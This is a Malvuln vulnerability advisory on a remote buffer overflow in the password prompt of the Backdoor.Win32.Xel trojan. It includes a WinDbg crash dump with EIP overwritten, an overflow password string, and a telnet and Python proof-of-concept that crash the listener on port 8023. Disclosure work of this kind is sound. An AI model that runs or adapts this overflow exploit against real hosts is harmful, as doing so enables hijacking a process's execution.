Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/3648c68bfe395fb9980ae547d881572c.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Xel Vulnerability: Remote Buffer Overflow Description: Xel listens on TCP port 8023 and requires authentication good for them!, upon connecting you are greeted with a password prompt: XeL TROJAN based on ULTOR'S TROJAN password: For incorrect passwords we get "Wrong password" response. However, by entering a password with a length of about 125 characters, we trigger the buffer overflow vuln. Moreover, we can also send a larger payload using TCP socket to supply shellcode. Password string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB The below PoC, last eight bytes 42424242 (B) will overwrite the instruction pointer (EIP), potentially allowing control of the malwares execution flow and undermining its authentication mechanism. Type: PE32 MD5: 3648c68bfe395fb9980ae547d881572c Vuln ID: MVID-2021-0044 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 01/21/2021 Memory Dump: (13c.d54): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=42424242 edx=773e9d70 esi=00000000 edi=00000000 eip=42424242 esp=000a1680 ebp=000a16a0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 42424242 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe FAULTING_IP: Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+3610 00403610 8b4af8 mov ecx,dword ptr [edx-8] EXCEPTION_RECORD: 0019fa10 -- (.exr 0x19fa10) ExceptionAddress: 00403610 (Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+0x00003610) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414139 Attempt to read from address 41414139 PROCESS_NAME: Backdoor.Win32.Xel.3648c68bfe395fb9980ae547d881572c.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 42424242 WRITE_ADDRESS: 42424242 FOLLOWUP_IP: kernel32!BaseThreadInitThunk+0 76e38630 8bff mov edi,edi FAILED_INSTRUCTION_ADDRESS: +0 42424242 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019fa60 -- (.cxr 0x19fa60) eax=0019ff44 ebx=0000007e ecx=532f749c edx=41414141 esi=0000007f edi=0000007f eip=00403610 esp=0019fec0 ebp=0019ff4c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_Xel_3648c68bfe395fb9980ae547d881572c+0x3610: 00403610 8b4af8 mov ecx,dword ptr [edx-8] ds:002b:41414139=???????? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 00403610 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_42424242 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242 FRAME_ONE_INVALID: 1 STACK_TEXT: 0019fec0 00403610 backdoor_win32_xel+0x3610 0019ff54 41414141 unknown!printable+0x0 0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24 0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f 0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b SYMBOL_NAME: kernel32!BaseThreadInitThunk+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: kernel32 IMAGE_NAME: kernel32.dll DEBUG_FLR_IMAGE_TIMESTAMP: 744765ce STACK_COMMAND: .cxr 000000000019FA60 ; kb ; dds 19fec0 ; kb FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_42424242_c0000005_kernel32.dll!BaseThreadInitThunk BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_42424242_BAD_IP_kernel32!BaseThreadInitThunk+0 Exploit/PoC-1: TELNET x.x.x.x 8023 Enter a long string for password. Exploit/PoC-2: from socket import * MALWARE_HOST="x.x.x.x" PORT=8023 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PBARBAR="A"*200+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PBARBAR) s.close() print("Backdoor.Win32.Xel / Remote Authentication Buffer Overflow") print("MD5: 3648c68bfe395fb9980ae547d881572c") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. 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